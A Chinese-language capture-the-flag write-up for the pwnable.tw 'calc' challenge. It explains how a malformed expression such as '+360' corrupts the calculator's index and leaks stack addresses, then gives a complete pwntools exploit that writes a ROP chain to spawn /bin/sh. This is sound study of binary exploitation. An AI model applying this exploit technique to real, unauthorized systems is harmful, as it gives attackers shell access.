代码写的少, 弄清楚程序逻辑都得盯好久…
程序逻辑:
如题目名字所写, 程序的功能就是实现一个简单计算器的功能
相关函数介绍:
1.get_expr
函数功能为读取计算的表达式, 运算符只包括+ , - , *, /, %五种, 除了运算符和参加运算的数据之外的字符都不会被读取
2.parse_expr
函数功能为对表达式进行解析
传入的参数a1 为表达式的地址
a2 为calc函数中变量v1的地址
*a2 存放运算数的下标
在if 的检查中进行了unsigned int 类型转换, 如果为运算符则会进入语句块, 运算数则跳过语句块往下循环
运算的规则:
*a2 存放下标
a2[*a2] 当前读取的运算数
a2[*a2 - 1] 为前一次读取的运算数
运算时结果存放在a2[*a2 - 1] 中, 运算完毕后 *a2 - 1
漏洞点:
由于检查跳出循环的if 语句被放在了最后面, 这就造成了输入非法表达式也会被解析而不会报错, 利用这个非法表达式可以造成任意地址写
例如输入" +360 "
1. i = 0时, 检测到运算符"+", 进入语句块, 由于"+" 前面没有运算数, 所以v2 = 0, 进入语句块后起的唯一的作用就是将"+" 存入s[v7] 中
2. 接下来遍历360, 都是数字跳过语句块, i值增加
3. 表达式末尾’\0’, 符合条件进入语句块, atoi函数将"360", 转化为整数360, 符合if(v9 > 0) , 执行完下面两条语句后*a2 = 1, a2[0] = 1, a2[1] = 360, 之后进入switch语句的分支进行+运算
a2[*a2 - 1] += a2[*a2] 等价于
=> a2[0] += a2[1]
这就改变了下标的值, 造成数组越界,导致返回calc函数时可以利用printf 泄露地址
按照类似的逻辑也可以向任意地址写入任意的数据
漏洞利用:
观察程序的保护判断无法通过植入shellcode的方式getshell, 但是可以利用rop来getshell
.text:08049453 mov ebp, esp
.text:08049455 and esp, 0FFFFFFF0h
.text:08049458 sub esp, 10h
首先利用printf泄露栈上的地址, calc函数中的ebp为main函数中的ebp经过上面的操作后的数据, 利用printf泄露calc的ebp后进行逆运算可以求到main函数的ebp值, 计算好相关偏移,之后利用ROPgadget工具找到execve 需要的gadget , 再将这些gadget与相关参数写到栈上, 最后getshell
由于程序中对0进行了检查, 运算数中不能出现0, 所以无法直接向栈上写入0, 但是可以先泄露栈上的数据, 之后利用非法表达式减去相应的数据, 可以达到与写入0相同的效果
EXP:
from pwn import *
import struct
context(arch='i386', os='linux', log_level='debug')
debug = 1
d = 0
if debug == 0:
p = process("./calc")
if d == 1:
gdb.attach(p)
else:
p = remote("chall.pwnable.tw", 10100)
elf = ELF("./calc")
popedx = 0x080701aa
popeax = 0x0805c34b
popebx = 0x080481d1
popecxebx = 0x080701d1
int80 = 0x08049a21
payload = "+360"
p.sendlineafter("=== Welcome to SECPROG calculator ===", payload)
p.recvline()
mebp = int(p.recvline()) & 0xffffffff
print "init_mebp-> " + hex(mebp)
mebp = (mebp + 0x10) & 0xfffffff0
mebp -= 2**32
print "mebp-> " + hex(mebp)
rop = [0x080701d1, 0, mebp - 0x4, 0x080701aa, 0, 0x0805c34b, 0xb, 0x08049a21, u32('/bin'), u32('/sh\0')]
for i in range(10):
payload = "+" + str(360 + i + 1)
if rop[i] == 0:
p.sendline(payload)
stack = int(p.recvline()) & 0xffffffff
if stack != 0:
print "stack-> " + hex(stack)
payload += "-" + str(stack)
p.sendline(payload)
p.recvline()
else:
p.sendline(payload)
stack = int(p.recvline()) & 0xffffffff
print "pppr -> " + hex(stack)
if stack != 0:
payload += "-" + str(stack)
p.sendline(payload)
p.recvline()
if i != 2:
payload = "+" + str(360 + i + 1) + "+" + str(rop[i])
else:
payload = "+" + str(360 + i + 1) + str(rop[i])
p.sendline(payload)
p.recvline()
# if i == 9:
# raw_input()
p.sendline("Give me shell!")
p.interactive()
写exp过程中遇到的问题
1.栈上的数据 是以有符号数存在的, 泄露的ebp在发送时被当作无符号数发送,超过了有符号数的范围,导致getshell失败, 所以将ebp减去2的32次方转化为负数, 但是相关二进制位没有改变
2.4 个字节的负数 与 0xffffffff 进行&操作后会转化为正数
- 输入+360时会输出相应栈空间的数据, 输入+360+123在改变栈上数据后也会输出相应栈空间的数据, 需要处理